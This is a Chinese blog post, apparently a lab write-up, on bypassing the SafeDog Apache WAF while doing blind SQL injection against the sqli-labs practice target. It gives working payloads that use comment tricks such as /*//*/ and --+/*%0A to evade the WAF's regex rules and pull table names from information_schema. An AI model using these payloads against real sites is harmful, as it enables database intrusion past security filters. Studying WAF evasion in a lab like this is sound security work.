安全狗的绕过

环境:
phpstudy2018
安全狗apache版
sqllabs靶场

 

安全狗绕过思路:

      安全狗是基于正则匹配的绕过,所以总是能够绕过其正则匹配实现sql的命令执行,需要对数据库语句灵活掌握。经过对安全狗的fuzz,测试其拦截规则,发现其实and、or这样的敏感字符是不会被直接拦截的,但是and加空格就会被拦截,其实绕过的中心可以向如何绕过空格偏移。

       为了可以更清晰的认知注入语句是如何在数据库中执行的,我修改了sqli-lab的代码,可以看到我们输入的语句和数据库执行的语句,可以在对应位置上加入这两条语句。

echo "有效输入:".$id."<br>";
echo "mysql:"."$sql"."<br>";

 

安全狗绕过步骤:

1.以第八关基于单引号的布尔为例,首先探测注入点

输入?id=1' and1=1 --+,并不会被安全狗拦截

输入?id=1' and 1=1 --+,被安全狗拦截,反向印证了安全狗是检测and和空格组合体的

2.此时绕过空格,利用/*//*/绕过空格。此字符表示注释/*/表示一个闭合,*字符被两边的/共用了

?id=1' and/*//*/1=1 --+

如果不理解为什么/*/为什么是一个闭合可以到mysql管理器去执行

3.下面探测数据库长度,在这里安全狗检测and空格和database(),也可以通过/*//*/绕过

绕过语句:?id=1' and/*//*/length(database(/*/*/))>7--+

4.下面探测数据表,此处需要绕过and和from后面的空格,information_schema.tables和database(),and和from和database()都已经绕过了,核心就是绕过information_schema.tables,这里采用的方式是--+/*0ainformation_schema.tables,--代表将本行的sql语句注释掉了,+号充当空格,%0a表示闭合

绕过语句:?id=1' and/*//*/substr((select table_name from/*//*/--+/*%0Ainformation_schema.tables where table_schema=database(/*//*/) limit 0,1),1,1)='e'--+

如果不理解具体如何执行,可以把sql语句放到mysql管理器执行查看闭合方式

  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值